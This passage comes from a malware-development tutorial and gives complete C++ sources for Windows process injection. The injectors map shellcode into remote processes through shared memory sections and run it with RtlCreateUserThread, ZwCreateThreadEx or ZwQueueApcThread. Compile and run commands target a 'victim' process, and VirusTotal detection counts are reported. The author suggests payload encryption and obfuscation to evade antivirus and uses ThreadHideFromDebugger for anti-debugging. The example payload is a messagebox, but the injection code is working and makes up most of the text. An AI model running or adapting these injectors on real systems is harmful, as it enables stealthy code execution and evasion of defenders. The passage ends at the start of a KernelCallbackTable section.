// ZwUnmapViewOfSection syntax
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);

// get process PID


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

int main(int argc, char* argv[]) {


// 64-bit meow-meow messagebox without encryption
unsigned char my_payload[] =

194
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

SIZE_T s = 4096;
LARGE_INTEGER sectionS = { s };
HANDLE sh = NULL; // section handle
PVOID lb = NULL; // local buffer
PVOID rb = NULL; // remote buffer
HANDLE th = NULL; // thread handle
DWORD pid; // process ID

pid = findMyProc(argv[1]);

OBJECT_ATTRIBUTES oa;
CLIENT_ID cid;
InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
cid.UniqueProcess = (PVOID) pid;
cid.UniqueThread = 0;

// loading ntdll.dll
HANDLE ntdll = GetModuleHandleA("ntdll");

pNtOpenProcess myNtOpenProcess =
(pNtOpenProcess)GetProcAddress(
ntdll, "NtOpenProcess");

195
pNtCreateSection myNtCreateSection =
(pNtCreateSection)(GetProcAddress(
ntdll, "NtCreateSection"));
pNtMapViewOfSection myNtMapViewOfSection =
(pNtMapViewOfSection)(GetProcAddress(
ntdll, "NtMapViewOfSection"));
pRtlCreateUserThread myRtlCreateUserThread =
(pRtlCreateUserThread)(GetProcAddress(
ntdll, "RtlCreateUserThread"));
pZwUnmapViewOfSection myZwUnmapViewOfSection =
(pZwUnmapViewOfSection)(GetProcAddress(
ntdll, "ZwUnmapViewOfSection"));

// create a memory section


myNtCreateSection(&sh,
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
NULL, (PLARGE_INTEGER)&sectionS,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

// bind the object in the memory


// of our process for reading and writing
myNtMapViewOfSection(sh, GetCurrentProcess(),
&lb, NULL, NULL, NULL,
&s, 2, NULL, PAGE_READWRITE);

// open remote proces via NT API


HANDLE ph = NULL;
myNtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oa, &cid);

if (!ph) {
printf("failed to open process :(\n");
return -2;
}

// bind the object in the memory of the target process


// for reading and executing
myNtMapViewOfSection(sh, ph, &rb, NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READ);

// write payload
memcpy(lb, my_payload, sizeof(my_payload));

// create a thread
myRtlCreateUserThread(ph, NULL, FALSE,
0, 0, 0, rb, NULL, &th, NULL);

196
// and wait
if (WaitForSingleObject(th, INFINITE) == WAIT_FAILED) {
return -2;
}

// clean up
myZwUnmapViewOfSection(GetCurrentProcess(), lb);
myZwUnmapViewOfSection(ph, rb);
CloseHandle(sh);
CloseHandle(ph);
return 0;
}
As you can see, everything is simple. Also I used findMyProc function from one of my
previous sections:

Changes to the local view of the section will also cause remote views to be modified as
well, thus bypassing the need for APIs such as KERNEL32.DLL!WriteProcessMemory
to write malicious code into remote process address space.
Although this is somewhat of an advantage over direct virtual memory allocation using
NtAllocateVirtualMemory, it creates similar malicious memory artifacts that blue
teamers should look out for:

197
demo
So finally after we understood entire code of the malware, we can test it.
Let’s go to compile our malware:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptionsections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-igc-plibgcc -fpermissive

Then, see everything in action! Start our victim process (in our case mspaint.exe)
on the victim machine (Windows 10 x64):

198
Then run our malware:
.\hack.exe mspaint.exe

199
We can see that everything was completed perfectly :)
Let’s go to upload our malware to VirusTotal:

https://www.virustotal.com/gui/file/1573a7d59de744b0723e83539ad8dcb9347c89f2
7a8321ea578c8c0d98f1e2cb?nocache=1
So, 4 of 62 AV engines detect our file as malicious.
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
BlackHat USA 2019 Process Injection Techniques - Gotta Catch Them All

200
WinDBG kernel debugging
NtOpenProcess
NtCreateSection
NtMapViewOfSection
ZwUnmapViewOfSection
Moneta64.exe
source code in Github

201
25. code injection via ZwCreateSection. Simple C++ malware ex-
ample.

In the previous section I wrote about code injection via memory sections.
This section is a result of self-research of replacing some Nt prefixes with Zw prefixes.

Zw prefix?
The Nt prefix is an abbreviation of Windows NT, but the Zw prefix has no meaning.
From the MSDN:
When a user-mode application calls the Nt or Zw version of a native system
services routine, the routine always treats the parameters that it receives as
values that come from a user-mode source that is not trusted. The routine
thoroughly validates the parameter values before it uses the parameters. In
particular, the routine probes any caller-supplied buffers to verify that the
buffers are located in valid user-mode memory and are aligned properly.

practical example. C++ malware.


Let’s go to replace some of the NT API functions from the previous post example with
Zw-prefixed functions.
The first thing that has to be done is to create a legit process with CreateProcessA:
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,

202
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);

Next steps are similar as previous post but, the only difference is we use
ZwCreateThreadEx:
typedef NTSTATUS(NTAPI* pZwCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);

instead of RtlCreateUserThread for triggering payload.

203
And another difference is we used ZwClose for close handles (clean up):
typedef NTSTATUS(NTAPI* pZwClose)(
_In_ HANDLE Handle
);

So, the full source code of our example malware is:


/*
* hack.cpp - code injection via
* ZwCreateSection, ZwUnmapViewOfSection
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/01/14/malware-injection-13.html
*/
#include <cstdio>
#include <windows.h>
#include <winternl.h>

#pragma comment(lib, "ntdll")

// ZwCreateSection
typedef NTSTATUS(NTAPI* pZwCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);

// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,

204
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);

// ZwCreateThreadEx
typedef NTSTATUS(NTAPI* pZwCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);

// ZwUnmapViewOfSection syntax
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);

// ZwClose
typedef NTSTATUS(NTAPI* pZwClose)(
_In_ HANDLE Handle
);

unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"

205
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


HANDLE sh; // section handle
HANDLE th; // thread handle
STARTUPINFOA si = {};
PROCESS_INFORMATION pi = {};
PROCESS_BASIC_INFORMATION pbi = {};
OBJECT_ATTRIBUTES oa;
SIZE_T s = 4096;
LARGE_INTEGER sectionS = { s };
PVOID rb = NULL; // remote buffer
PVOID lb = NULL; // local buffer

ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
ZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));
si.cb = sizeof(STARTUPINFO);

ZeroMemory(&oa, sizeof(OBJECT_ATTRIBUTES));

HMODULE ntdll = GetModuleHandleA("ntdll");


pZwCreateSection myZwCreateSection =
(pZwCreateSection)(GetProcAddress(
ntdll, "ZwCreateSection"));
pNtMapViewOfSection myNtMapViewOfSection =
(pNtMapViewOfSection)(GetProcAddress(
ntdll, "NtMapViewOfSection"));
pZwUnmapViewOfSection myZwUnmapViewOfSection =
(pZwUnmapViewOfSection)(GetProcAddress(

206
ntdll, "ZwUnmapViewOfSection"));
pZwCreateThreadEx myZwCreateThreadEx =
(pZwCreateThreadEx)GetProcAddress(
ntdll, "ZwCreateThreadEx");
pZwClose myZwClose =
(pZwClose)GetProcAddress(
ntdll, "ZwClose");

// create process as suspended


if (!CreateProcessA(NULL,
(LPSTR) "C:\\windows\\system32\\mspaint.exe",
NULL, NULL, NULL,
CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi)) {
printf("create process failed :(\n");
return -2;
};

myZwCreateSection(&sh,
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
NULL, &sectionS, PAGE_EXECUTE_READWRITE,
SEC_COMMIT, NULL);
printf("section handle: %p.\n", sh);

// mapping the section into current process


myNtMapViewOfSection(sh, GetCurrentProcess(), &lb,
NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READWRITE);
printf("local process mapped at address: %p.\n", lb);

// mapping the section into remote process


myNtMapViewOfSection(sh, pi.hProcess, &rb,
NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READWRITE);
printf("remote process mapped at address: %p\n", rb);

// copy payload
memcpy(lb, my_payload, sizeof(my_payload));

// unmapping section from current process


myZwUnmapViewOfSection(GetCurrentProcess(), lb);
printf("mapped at address: %p.\n", lb);
myZwClose(sh);

sh = NULL;

207
// create new thread
myZwCreateThreadEx(&th, 0x1FFFFF, NULL, pi.hProcess,
rb, NULL, CREATE_SUSPENDED, 0, 0, 0, 0);
printf("thread: %p.\n", th);
ResumeThread(pi.hThread);
myZwClose(pi.hThread);
myZwClose(th);

return 0;
}

demo
Let’s go to compile our example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then, see everything in action! In our case victim machine is Windows 10 x64:

208
We can see that everything was completed perfectly :)
Then, let’s go to upload our malware to VirusTotal:

https://www.virustotal.com/gui/file/cca1a55dd587cb3e6b4768e6d4febe2966741063
e6beac5951f119bf2ba193ae/detection
So, 5 of 67 AV engines detect our file as malicious.
Moneta64.exe result:

209
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
CreateProcessA
ZwCreateSection
NtMapViewOfSection
ZwUnmapViewOfSection
ZwClose
Moneta64.exe
source code in Github

210
26. code injection via memory sections and ZwQueueApcThread.
Simple C++ malware example.

In the previous section I wrote about code injection via memory sections.
This section is a result of replacing thread creating logic.

ZwQueueApcThread
For the user-mode code there is no difference between ZwQueueApcThread and
NtQueueApcThread functions. It’s just the matter of what prefix you like.
Native function ZwQueueApcThread is declared like:
NTSYSAPI
NTSTATUS
NTAPI
ZwQueueApcThread(
IN HANDLE ThreadHandle,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
IN ULONG ApcReserved OPTIONAL );
so in our code we use function pointer to ZwQueueApcThread:
typedef NTSTATUS(NTAPI* pZwQueueApcThread)(
IN HANDLE ThreadHandle,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,

211
IN ULONG ApcReserved OPTIONAL
);

ZwSetInformationThread
Native function ZwSetInformationThread is declared like:
NTSYSAPI NTSTATUS ZwSetInformationThread(
[in] HANDLE ThreadHandle,
[in] THREADINFOCLASS ThreadInformationClass,
[in] PVOID ThreadInformation,
[in] ULONG ThreadInformationLength
);
then in our code we use function pointer to ZwSetInformationThread:
typedef NTSTATUS(NTAPI* pZwSetInformationThread)(
[in] HANDLE ThreadHandle,
[in] THREADINFOCLASS ThreadInformationClass,
[in] PVOID ThreadInformation,
[in] ULONG ThreadInformationLength
);

practical example
My example’s logic is similar to previous section, the only difference is:

As you can see, I replaced payload launching logic.


There is one interesting point with ZwSetInformationThread. The second parameter
of this function is the THREADINFOCLASS structure, which is an enumerated type. The
last label field is ThreadHideFromDebugger. By setting ThreadHideFromDebugger
for the thread, you can prohibit a thread from generating debugging events. This was
one of the first anti-debugging techniques provided by Windows in Microsoft’s search
for how to prevent reverse engineering, and it’s very powerful.
Full source code of malware:

212
/*
* hack.cpp - code injection via
* ZwCreateSection, ZwUnmapViewOfSection,
* ZwQueueApcThread
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/01/17/malware-injection-14.html
*/
#include <cstdio>
#include <windows.h>
#include <winternl.h>

#pragma comment(lib, "ntdll")

// ZwCreateSection
typedef NTSTATUS(NTAPI* pZwCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);

// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);

// ZwUnmapViewOfSection syntax
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);

// ZwClose

213
typedef NTSTATUS(NTAPI* pZwClose)(
_In_ HANDLE Handle
);

// ZwQueueApcThread
typedef NTSTATUS(NTAPI* pZwQueueApcThread)(
IN HANDLE ThreadHandle,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
IN ULONG ApcReserved OPTIONAL
);

// ZwSetInformationThread
typedef NTSTATUS(NTAPI* pZwSetInformationThread)(
_In_ HANDLE ThreadHandle,
_In_ THREADINFOCLASS ThreadInformationClass,
_In_ PVOID ThreadInformation,
_In_ ULONG ThreadInformationLength
);

unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"

214
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


HANDLE sh; // section handle
HANDLE th; // thread handle
STARTUPINFOA si = {};
PROCESS_INFORMATION pi = {};
PROCESS_BASIC_INFORMATION pbi = {};
OBJECT_ATTRIBUTES oa;
SIZE_T s = 4096;
LARGE_INTEGER sectionS = { (DWORD) s };
PVOID rb = NULL; // remote buffer
PVOID lb = NULL; // local buffer

ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
ZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));
si.cb = sizeof(STARTUPINFO);

ZeroMemory(&oa, sizeof(OBJECT_ATTRIBUTES));

HMODULE ntdll = GetModuleHandleA("ntdll");


pZwCreateSection myZwCreateSection =
(pZwCreateSection)(GetProcAddress(
ntdll, "ZwCreateSection"));
pNtMapViewOfSection myNtMapViewOfSection =
(pNtMapViewOfSection)(GetProcAddress(
ntdll, "NtMapViewOfSection"));
pZwUnmapViewOfSection myZwUnmapViewOfSection =
(pZwUnmapViewOfSection)(GetProcAddress(
ntdll, "ZwUnmapViewOfSection"));
pZwQueueApcThread myZwQueueApcThread =
(pZwQueueApcThread)GetProcAddress(
ntdll, "ZwQueueApcThread");
pZwSetInformationThread myZwSetInformationThread =
(pZwSetInformationThread)GetProcAddress(
ntdll, "ZwSetInformationThread");
pZwClose myZwClose =
(pZwClose)GetProcAddress(
ntdll, "ZwClose");

// create process as suspended


if (!CreateProcessA(NULL,
(LPSTR) "C:\\windows\\system32\\mspaint.exe",
NULL, NULL, NULL,
CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW,

215
NULL, NULL, &si, &pi)) {
printf("create process failed :(\n");
return -2;
};

myZwCreateSection(&sh,
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
NULL, &sectionS,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
printf("section handle: %p.\n", sh);

// mapping the section into current process


myNtMapViewOfSection(sh, GetCurrentProcess(), &lb,
NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READWRITE);
printf("local process mapped at address: %p.\n", lb);

// mapping the section into remote process


myNtMapViewOfSection(sh, pi.hProcess, &rb,
NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READWRITE);
printf("remote process mapped at address: %p\n", rb);

// copy payload
memcpy(lb, my_payload, sizeof(my_payload));

// unmapping section from current process


myZwUnmapViewOfSection(GetCurrentProcess(), lb);
printf("mapped at address: %p.\n", lb);
myZwClose(sh);

sh = NULL;

// create new thread


myZwQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)rb, 0, 0, 0);
myZwSetInformationThread(pi.hThread, (THREADINFOCLASS)1,
NULL, NULL);
ResumeThread(pi.hThread);
myZwClose(pi.hThread);
myZwClose(th);

return 0;

}
As usually, for simplicity, I used meow-meow messagebox as payload:

216
unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to compile our example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then, see everything in action! In our case victim machine is Windows 10 x64:

217
We can see that everything was completed perfectly :)
Then, let’s go to upload our malware to VirusTotal:

218
https://www.virustotal.com/gui/file/a96b5c2a8fce03d4b6e30b9499a3df2280cb6f55
70bb4198a1bd51aeaa2665e8/detection
So, 9 of 67 AV engines detect our file as malicious.
Moneta64.exe result:

If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
CreateProcessA
ZwCreateSection
NtMapViewOfSection

219
ZwUnmapViewOfSection
ZwClose
ZwQueueApcThread/NtQueueApcThread
ZwSetInformationThread
Moneta64.exe
source code in Github

220
27. process injection via KernelCallbackTable. Simple C++ malware
example.

This post is a result of self-researching one of the process injection technique: by spoof-
ing the fnCOPYDATA value in KernelCallbackTable.
Let’s look at this technique in more detail.

KernelCallbackTable
KernelCallbackTable can be found in PEB structure, at 0x058 offset:
lkd> dt_PEB

lkd> dt_PEB @$peb kernelcallbacktable

221
The KernelCallbackTable is initialized to an array of functions:
lkd> dqs 0x00007ffa`29123070 L60
00007ffa`29123070 00007ffa`290c2bd0 user32!_fnCOPYDATA
00007ffa`29123078 00007ffa`2911ae70 user32!_fnCOPYGLOBALDATA
00007ffa`29123080 00007ffa`290c0420 user32!_fnDWORD
